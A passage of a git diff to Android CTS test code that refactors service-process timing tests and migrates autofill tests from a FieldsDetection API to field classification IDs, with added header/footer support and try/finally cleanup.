             conn.waitForConnect(WAIT_TIME);
 
-            uidWatcher.expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            uidWatcher.waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             uidWatcher.expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // And also start the second service.
@@ -636,13 +649,13 @@
 
             // Track the uid proc state changes from the broadcast (but not service execution)
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_IDLE, null, WAIT_TIME);
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "RCVR", WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
             // Put app on temporary whitelist to see if this allows the service start.
-            controller.tempWhitelist(2000);
+            controller.tempWhitelist(TEMP_WHITELIST_DURATION_MS);
 
             // Being on the whitelist means the uid is now active.
             controller.getUidWatcher().expect(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
@@ -657,7 +670,7 @@
             conn.waitForConnect(WAIT_TIME);
 
             // Also make sure the uid state reports are as expected.
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             // We are going to wait until 'SVC', because we may see an intermediate 'RCVR'
             // proc state depending on timing.
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -669,7 +682,7 @@
             controller.getUidWatcher().expect(WatchUidRunner.CMD_CACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "CEM", WAIT_TIME);
 
-            Thread.sleep(3000);
+            controller.removeFromTempWhitelist();
 
             // Going off the temp whitelist causes a spurious proc state report...  that's
             // not ideal, but okay.
@@ -711,7 +724,7 @@
             conn.waitForConnect(WAIT_TIME);
 
             // Also make sure the uid state reports are as expected.
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // Okay, bring down the service.
@@ -770,7 +783,7 @@
                     ? "TOP" : "TPSL";
             // Also make sure the uid state reports are as expected.
             controller.getUidWatcher().waitFor(WatchUidRunner.CMD_ACTIVE, null, WAIT_TIME);
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE,
                     expectedActivityState, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
@@ -785,7 +798,7 @@
             // App isn't yet idle, so we should be able to start the service again.
             mContext.startService(mServiceIntent);
             conn.waitForConnect(WAIT_TIME);
-            controller.getUidWatcher().expect(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
+            controller.getUidWatcher().waitFor(WatchUidRunner.CMD_UNCACHED, null, WAIT_TIME);
             controller.getUidWatcher().expect(WatchUidRunner.CMD_PROCSTATE, "SVC", WAIT_TIME);
 
             // And now fast-forward to the app going idle, service should be stopped.
diff --git a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
index 9cad7a3..0c9f48d 100644
--- a/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
+++ b/tests/app/src/android/app/cts/android/app/cts/tools/ServiceProcessController.java
@@ -123,6 +123,11 @@
         String result = SystemUtil.runShellCommand(mInstrumentation, cmd);
     }
 
+    public void removeFromTempWhitelist() throws IOException {
+        String cmd = "cmd deviceidle tempwhitelist -r " + mServicePackage;
+        SystemUtil.runShellCommand(mInstrumentation, cmd);
+    }
+
     public void cleanup() throws IOException {
         removeFromWhitelist();
         allowBackgroundOp();
diff --git a/tests/autofillservice/res/layout/webview_activity.xml b/tests/autofillservice/res/layout/webview_activity.xml
index 84ead4f..8740273 100644
--- a/tests/autofillservice/res/layout/webview_activity.xml
+++ b/tests/autofillservice/res/layout/webview_activity.xml
@@ -14,8 +14,55 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
 -->
-<android.autofillservice.cts.MyWebView  xmlns:android="http://schemas.android.com/apk/res/android"
-    android:id="@+id/webview"
-    android:layout_width="fill_parent"
-    android:layout_height="fill_parent"
-/>
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:focusable="true"
+    android:focusableInTouchMode="true"
+    android:orientation="vertical" >
+
+    <LinearLayout
+        android:id="@+id/outsideContainer1"
+        android:visibility="gone"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Outside 1" />
+
+        <EditText
+            android:id="@+id/outside1"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <LinearLayout
+        android:id="@+id/outsideContainer2"
+        android:visibility="gone"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:orientation="horizontal" >
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="Outside 2" />
+
+        <EditText
+            android:id="@+id/outside2"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </LinearLayout>
+
+    <android.autofillservice.cts.MyWebView
+        android:id="@+id/webview"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+    />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index f6e7e2f..4ae01fc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -25,11 +25,11 @@
 import android.os.Bundle;
 import android.service.autofill.CustomDescription;
 import android.service.autofill.Dataset;
-import android.service.autofill.FieldsDetection;
 import android.service.autofill.FillCallback;
 import android.service.autofill.FillResponse;
 import android.service.autofill.Sanitizer;
 import android.service.autofill.SaveInfo;
+import android.service.autofill.UserData;
 import android.service.autofill.Validator;
 import android.util.Pair;
 import android.view.autofill.AutofillId;
@@ -73,6 +73,8 @@
     private final CustomDescription mCustomDescription;
     private final Bundle mExtras;
     private final RemoteViews mPresentation;
+    private final RemoteViews mHeader;
+    private final RemoteViews mFooter;
     private final IntentSender mAuthentication;
     private final String[] mAuthenticationIds;
     private final String[] mIgnoredIds;
@@ -82,7 +84,8 @@
     private final int mFillResponseFlags;
     private final AutofillId mSaveTriggerId;
     private final long mDisableDuration;
-    private final FieldsDetection mFieldsDetection;
+    private final AutofillId[] mFieldClassificationIds;
+    private final boolean mFieldClassificationIdsOverflow;
 
     private CannedFillResponse(Builder builder) {
         mResponseType = builder.mResponseType;
@@ -96,6 +99,8 @@
         mSaveType = builder.mSaveType;
         mExtras = builder.mExtras;
         mPresentation = builder.mPresentation;
+        mHeader = builder.mHeader;
+        mFooter = builder.mFooter;
         mAuthentication = builder.mAuthentication;
         mAuthenticationIds = builder.mAuthenticationIds;
         mIgnoredIds = builder.mIgnoredIds;
@@ -106,7 +111,8 @@
         mFillResponseFlags = builder.mFillResponseFlags;
         mSaveTriggerId = builder.mSaveTriggerId;
         mDisableDuration = builder.mDisableDuration;
-        mFieldsDetection = builder.mFieldsDetection;
+        mFieldClassificationIds = builder.mFieldClassificationIds;
+        mFieldClassificationIdsOverflow = builder.mFieldClassificationIdsOverflow;
     }
 
     /**
@@ -136,6 +142,16 @@
      * structure.
      */
     FillResponse asFillResponse(Function<String, ViewNode> nodeResolver) {
+        return asFillResponse(null, nodeResolver);
+
+    }
+
+    /**
+     * Creates a new response, replacing the dataset field ids by the real ids from the assist
+     * structure.
+     */
+    FillResponse asFillResponse(InstrumentedAutoFillService service,
+            Function<String, ViewNode> nodeResolver) {
         final FillResponse.Builder builder = new FillResponse.Builder()
                 .setFlags(mFillResponseFlags);
         if (mDatasets != null) {
@@ -188,12 +204,26 @@
         if (mDisableDuration > 0) {
             builder.disableAutofill(mDisableDuration);
         }
-        if (mFieldsDetection != null) {
-            builder.setFieldsDetection(mFieldsDetection);
+        if (mFieldClassificationIdsOverflow) {
+            final int length = UserData.getMaxFieldClassificationIdsSize() + 1;
+            final AutofillId[] fieldIds = new AutofillId[length];
+            for (int i = 0; i < length; i++) {
+                fieldIds[i] = new AutofillId(i);
+            }
+            builder.setFieldClassificationIds(fieldIds);
+        } else if (mFieldClassificationIds != null) {
+            builder.setFieldClassificationIds(mFieldClassificationIds);
         }
-        return builder
-                .setClientState(mExtras)
-                .build();
+        if (mExtras != null) {
+            builder.setClientState(mExtras);
+        }
+        if (mHeader != null) {
+            builder.setHeader(mHeader);
+        }
+        if (mFooter != null) {
+            builder.setFooter(mFooter);
+        }
+        return builder.build();
     }
 
     @Override
@@ -208,13 +238,16 @@
                 + ", saveDescription=" + mSaveDescription
                 + ", mCustomDescription=" + mCustomDescription
                 + ", hasPresentation=" + (mPresentation != null)
+                + ", hasHeader=" + (mHeader != null)
+                + ", hasFooter=" + (mFooter != null)
                 + ", hasAuthentication=" + (mAuthentication != null)
                 + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
                 + ", ignoredIds=" + Arrays.toString(mIgnoredIds)
                 + ", sanitizers =" + mSanitizers
                 + ", saveTriggerId=" + mSaveTriggerId
                 + ", disableDuration=" + mDisableDuration
-                + ", fieldsDetection=" + mFieldsDetection
+                + ", fieldClassificationIds=" + Arrays.toString(mFieldClassificationIds)
+                + ", fieldClassificationIdsOverflow=" + mFieldClassificationIdsOverflow
                 + "]";
     }
 
@@ -237,6 +270,8 @@
         public int mSaveType = -1;
         private Bundle mExtras;
         private RemoteViews mPresentation;
+        private RemoteViews mFooter;
+        private RemoteViews mHeader;
         private IntentSender mAuthentication;
         private String[] mAuthenticationIds;
         private String[] mIgnoredIds;
@@ -246,7 +281,8 @@
         private int mFillResponseFlags;
         private AutofillId mSaveTriggerId;
         private long mDisableDuration;
-        private FieldsDetection mFieldsDetection;
+        private AutofillId[] mFieldClassificationIds;
+        private boolean mFieldClassificationIdsOverflow;
 
         public Builder(ResponseType type) {
             mResponseType = type;
@@ -393,9 +429,27 @@
         }
 
         // TODO(b/67867469): document
-        public Builder setFieldDetection(FieldsDetection fieldsDetection) {
-            assertWithMessage("already set").that(mFieldsDetection).isNull();
-            mFieldsDetection = fieldsDetection;
+        public Builder setFieldClassificationIds(AutofillId... ids) {
+            assertWithMessage("already set").that(mFieldClassificationIds).isNull();
+            mFieldClassificationIds = ids;
+            return this;
+        }
+
+        // TODO(b/67867469): document
+        public Builder setFieldClassificationIdsOverflow() {
+            mFieldClassificationIdsOverflow = true;
+            return this;
+        }
+
+        public Builder setHeader(RemoteViews header) {
+            assertWithMessage("already set").that(mHeader).isNull();
+            mHeader = header;
+            return this;
+        }
+
+        public Builder setFooter(RemoteViews footer) {
+            assertWithMessage("already set").that(mFooter).isNull();
+            mFooter = footer;
             return this;
         }
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
index cf8a55e..afffa56 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -104,38 +104,40 @@
         final SimpleSaveActivity activity = startSimpleSaveActivity();
         final MyAutofillCallback callback = activity.registerCallback();
 
-        // Trigger autofill
-        activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mInput.requestFocus());
 
-        if (action == PostLaunchAction.ASSERT_DISABLING) {
-            callback.assertUiUnavailableEvent(activity.mInput);
-            sReplier.getNextFillRequest();
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mInput);
+                sReplier.getNextFillRequest();
 
-            // Make sure other fields are not triggered.
-            activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
-            callback.assertNotCalled();
-        } else if (action == PostLaunchAction.ASSERT_DISABLED) {
-            // Make sure forced requests are ignored as well.
-            activity.getAutofillManager().requestAutofill(activity.mInput);
-            callback.assertNotCalled();
-        } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            callback.assertUiShownEvent(activity.mInput);
-            sReplier.getNextFillRequest();
-            final SimpleSaveActivity.FillExpectation autofillExpectation =
-                    activity.expectAutoFill("id", "pass");
-            sUiBot.selectDataset("YO");
-            autofillExpectation.assertAutoFilled();
+                // Make sure other fields are not triggered.
+                activity.syncRunOnUiThread(() -> activity.mPassword.requestFocus());
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                // Make sure forced requests are ignored as well.
+                activity.getAutofillManager().requestAutofill(activity.mInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mInput);
+                sReplier.getNextFillRequest();
+                final SimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("id", "pass");
+                sUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+            } else {
+                assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+            }
+        } finally {
+            activity.unregisterCallback();
+            activity.finish();
         }
-
-        // Asserts isEnabled() status.
-        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            assertThat(activity.getAutofillManager().isEnabled()).isTrue();
-        } else {
-            assertThat(activity.getAutofillManager().isEnabled()).isFalse();
-        }
-
-        activity.unregisterCallback();
-        activity.finish();
         sReplier.assertNumberUnhandledFillRequests(0);
     }
 
@@ -155,33 +157,35 @@
         final PreSimpleSaveActivity activity = startPreSimpleSaveActivity();
         final MyAutofillCallback callback = activity.registerCallback();
 
-        // Trigger autofill
-        activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
+        try {
+            // Trigger autofill
+            activity.syncRunOnUiThread(() -> activity.mPreInput.requestFocus());
 
-        if (action == PostLaunchAction.ASSERT_DISABLING) {
-            callback.assertUiUnavailableEvent(activity.mPreInput);
-            sReplier.getNextFillRequest();
-        } else if (action == PostLaunchAction.ASSERT_DISABLED) {
-            activity.getAutofillManager().requestAutofill(activity.mPreInput);
-            callback.assertNotCalled();
-        } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            callback.assertUiShownEvent(activity.mPreInput);
-            sReplier.getNextFillRequest();
-            final PreSimpleSaveActivity.FillExpectation autofillExpectation =
-                    activity.expectAutoFill("yo");
-            sUiBot.selectDataset("YO");
-            autofillExpectation.assertAutoFilled();
+            if (action == PostLaunchAction.ASSERT_DISABLING) {
+                callback.assertUiUnavailableEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+            } else if (action == PostLaunchAction.ASSERT_DISABLED) {
+                activity.getAutofillManager().requestAutofill(activity.mPreInput);
+                callback.assertNotCalled();
+            } else if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                callback.assertUiShownEvent(activity.mPreInput);
+                sReplier.getNextFillRequest();
+                final PreSimpleSaveActivity.FillExpectation autofillExpectation =
+                        activity.expectAutoFill("yo");
+                sUiBot.selectDataset("YO");
+                autofillExpectation.assertAutoFilled();
+            }
+
+            // Asserts isEnabled() status.
+            if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
+                assertThat(activity.getAutofillManager().isEnabled()).isTrue();
+            } else {
+                assertThat(activity.getAutofillManager().isEnabled()).isFalse();
+            }
+        } finally {
+            activity.unregisterCallback();
+            activity.finish();
         }
-
-        // Asserts isEnabled() status.
-        if (action == PostLaunchAction.ASSERT_ENABLED_AND_AUTOFILL) {
-            assertThat(activity.getAutofillManager().isEnabled()).isTrue();
-        } else {
-            assertThat(activity.getAutofillManager().isEnabled()).isFalse();
-        }
-
-        activity.unregisterCallback();
-        activity.finish();
         sReplier.assertNumberUnhandledFillRequests(0);
     }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsDetectionTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
similarity index 77%
rename from tests/autofillservice/src/android/autofillservice/cts/FieldsDetectionTest.java
rename to tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
index b4db125..59e7115 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsDetectionTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
@@ -20,11 +20,12 @@
 import static android.autofillservice.cts.Helper.runShellCommand;
 import static android.service.autofill.FillResponse.FLAG_TRACK_CONTEXT_COMMITED;
 
-import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.provider.Settings;
-import android.service.autofill.FieldsDetection;
 import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.UserData;
 import android.view.autofill.AutofillId;
 import android.widget.EditText;
 
@@ -33,14 +34,17 @@
 import org.junit.Rule;
 import org.junit.Test;
 
-public class FieldsDetectionTest extends AutoFillServiceTestCase {
+import java.util.List;
+
+public class FieldsClassificationTest extends AutoFillServiceTestCase {
 
     @Rule
     public final AutofillActivityTestRule<GridActivity> mActivityRule =
             new AutofillActivityTestRule<GridActivity>(GridActivity.class);
 
     private GridActivity mActivity;
-    private int mEnabledBedore;
+    private int mEnabledBefore;
+
 
     @Before
     public void setActivity() {
@@ -50,9 +54,9 @@
     // TODO(b/67867469): remove once feature is stable
     @Before
     public void enableFeature() {
-        mEnabledBedore = Settings.Secure.getInt(
+        mEnabledBefore = Settings.Secure.getInt(
                 mContext.getContentResolver(), Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, 0);
-        if (mEnabledBedore == 1) {
+        if (mEnabledBefore == 1) {
             // Already enabled, ignore.
             return;
         }
@@ -66,14 +70,14 @@
     // TODO(b/67867469): remove once feature is stable
     @After
     public void restoreFeatureStatus() {
-        if (mEnabledBedore == 1) {
+        if (mEnabledBefore == 1) {
             // Already enabled, ignore.
             return;
         }
         final OneTimeSettingsListener observer = new OneTimeSettingsListener(mContext,
                 Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION);
         runShellCommand("settings put secure %s %s default",
-                Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBedore);
+                Settings.Secure.AUTOFILL_FEATURE_FIELD_DETECTION, mEnabledBefore);
         observer.assertCalled();
     }
 
@@ -83,12 +87,14 @@
         enableService();
 
         // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "FULLY").build());
         final MyAutofillCallback callback = mActivity.registerCallback();
         final EditText field = mActivity.getCell(1, 1);
         final AutofillId fieldId = field.getAutofillId();
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
-                .setFieldDetection(new FieldsDetection(fieldId, "myId", "FULL"))
+                .setFieldClassificationIds(fieldId)
                 .build());
 
         // Trigger autofill
@@ -100,7 +106,7 @@
 
         // Simulate user input
         mActivity.focusCell(1, 1);
-        mActivity.setText(1, 1, "full");
+        mActivity.setText(1, 1, "fully");
 
         // Finish context.
         mActivity.getAutofillManager().commit();
@@ -108,8 +114,9 @@
         // Assert results
         final FillEventHistory history =
                 InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-        assertThat(history.getEvents().size()).isEqualTo(1);
-        assertFillEventForFieldsDetected(history.getEvents().get(0), "myId", 0);
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForFieldsDetected(events.get(0), "myId", 0);
     }
 
     @Test
@@ -118,17 +125,20 @@
         enableService();
 
         // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "ABCDEF").build());
         final MyAutofillCallback callback = mActivity.registerCallback();
         final EditText field = mActivity.getCell(1, 1);
         final AutofillId fieldId = field.getAutofillId();
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
-                .setFieldDetection(new FieldsDetection(fieldId, "myId", "ABC"))
+                .setFieldClassificationIds(fieldId)
                 .build());
 
         // Trigger autofill
         mActivity.focusCell(1, 1);
         sReplier.getNextFillRequest();
+
         sUiBot.assertNoDatasets();
         callback.assertUiUnavailableEvent(field);
 
@@ -141,8 +151,9 @@
         // Assert results
         final FillEventHistory history =
                 InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-        assertThat(history.getEvents().size()).isEqualTo(1);
-        assertFillEventForContextCommitted(history.getEvents().get(0));
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForContextCommitted(events.get(0));
     }
 
     @Test
@@ -151,12 +162,14 @@
         enableService();
 
         // Set expectations.
+        mActivity.getAutofillManager()
+                .setUserData(new UserData.Builder("myId", "FULLY").build());
         final MyAutofillCallback callback = mActivity.registerCallback();
         final EditText field = mActivity.getCell(1, 1);
         final AutofillId fieldId = field.getAutofillId();
         sReplier.addResponse(new CannedFillResponse.Builder()
                 .setFillResponseFlags(FLAG_TRACK_CONTEXT_COMMITED)
-                .setFieldDetection(new FieldsDetection(fieldId, "myId", "Full"))
+                .setFieldClassificationIds(fieldId)
                 .build());
 
         // Trigger autofill
@@ -172,8 +185,9 @@
         // Assert results
         final FillEventHistory history =
                 InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-        assertThat(history.getEvents().size()).isEqualTo(1);
-        assertFillEventForContextCommitted(history.getEvents().get(0));
+        final List<Event> events = history.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForContextCommitted(events.get(0));
     }
 
     /*
@@ -182,7 +196,7 @@
      * - Multipartition (for example, one response with FieldsDetection, others with datasets,
      *   saveinfo, and/or ignoredIds)
      * - make sure detectable fields don't trigger a new partition
-     * - test partial hit (for example, 'fool' insteadl of 'full'
+     * - test partial hit (for example, 'fool' instead of 'full'
      * - multiple fields
      * - multiple value
      * - combinations of above items
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
index 8e74476..b3190c8 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FillEventHistoryTest.java
@@ -44,6 +44,7 @@
 import android.content.IntentSender;
 import android.os.Bundle;
 import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
 import android.service.autofill.FillResponse;
 import android.support.test.uiautomator.UiObject2;
 import android.view.View;
@@ -56,6 +57,7 @@
 import org.junit.Rule;
 import org.junit.Test;
 
+import java.util.List;
 import java.util.Map;
 import java.util.Set;
 
@@ -118,8 +120,9 @@
         FillEventHistory selection =
                 InstrumentedAutoFillService.peekInstance().getFillEventHistory();
         assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
-        assertThat(selection.getEvents().size()).isEqualTo(1);
-        assertFillEventForDatasetAuthenticationSelected(selection.getEvents().get(0), "name",
+        List<Event> events = selection.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForDatasetAuthenticationSelected(events.get(0), "name",
                 "clientStateKey", "clientStateValue");
     }
 
@@ -158,8 +161,9 @@
         FillEventHistory selection =
                 InstrumentedAutoFillService.peekInstance().getFillEventHistory();
         assertDeprecatedClientState(selection, "clientStateKey", "clientStateValue");
-        assertThat(selection.getEvents().size()).isEqualTo(1);
-        assertFillEventForAuthenticationSelected(selection.getEvents().get(0), NULL_DATASET_ID,
+        List<Event> events = selection.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForAuthenticationSelected(events.get(0), NULL_DATASET_ID,
                 "clientStateKey", "clientStateValue");
     }
 
@@ -192,8 +196,10 @@
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertDeprecatedClientState(selection, "clientStateKey", "Value1");
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID,
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID,
                     "clientStateKey", "Value1");
         }
 
@@ -229,7 +235,10 @@
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertDeprecatedClientState(selection, "clientStateKey", "Value2");
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "name3",
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "name3",
                     "clientStateKey", "Value2");
         }
 
@@ -243,10 +252,12 @@
                     .getFillEventHistory();
             assertDeprecatedClientState(selection, "clientStateKey", "Value2");
 
-            assertThat(selection.getEvents().size()).isEqualTo(2);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "name3",
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(2);
+            assertFillEventForDatasetSelected(events.get(0), "name3",
                     "clientStateKey", "Value2");
-            assertFillEventForSaveShown(selection.getEvents().get(1), NULL_DATASET_ID,
+            assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
                     "clientStateKey", "Value2");
         }
     }
@@ -275,8 +286,10 @@
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertNoDeprecatedClientState(selection);
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
         }
 
         // Second request
@@ -318,8 +331,10 @@
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertNoDeprecatedClientState(selection);
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
         }
 
         // Second request
@@ -361,8 +376,10 @@
             FillEventHistory selection = InstrumentedAutoFillService.peekInstance()
                     .getFillEventHistory();
             assertNoDeprecatedClientState(selection);
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), NULL_DATASET_ID);
+            List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
         }
 
         // Second request
@@ -511,8 +528,9 @@
         // Assert it
         final FillEventHistory selection =
                 InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-        assertThat(selection.getEvents().size()).isEqualTo(1);
-        assertFillEventForSaveShown(selection.getEvents().get(0), NULL_DATASET_ID);
+        final List<Event> events = selection.getEvents();
+        assertWithMessage("Wrong number of events: %s", events).that(events.size()).isEqualTo(1);
+        assertFillEventForSaveShown(events.get(0), NULL_DATASET_ID);
     }
 
     @Test
@@ -536,8 +554,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id1");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id1");
         }
 
         // Trigger 2st autofill request (which will clear the fill event history)
@@ -558,8 +578,10 @@
         {
             final FillEventHistory selection =
                     InstrumentedAutoFillService.peekInstance().getFillEventHistory();
-            assertThat(selection.getEvents().size()).isEqualTo(1);
-            assertFillEventForDatasetSelected(selection.getEvents().get(0), "id2");
+            final List<Event> events = selection.getEvents();
+            assertWithMessage("Wrong number of events: %s", events).that(events.size())
+                    .isEqualTo(1);
+            assertFillEventForDatasetSelected(events.get(0), "id2");
         }
 
         // Finish the context by login in
@@ -572,9 +594,11 @@
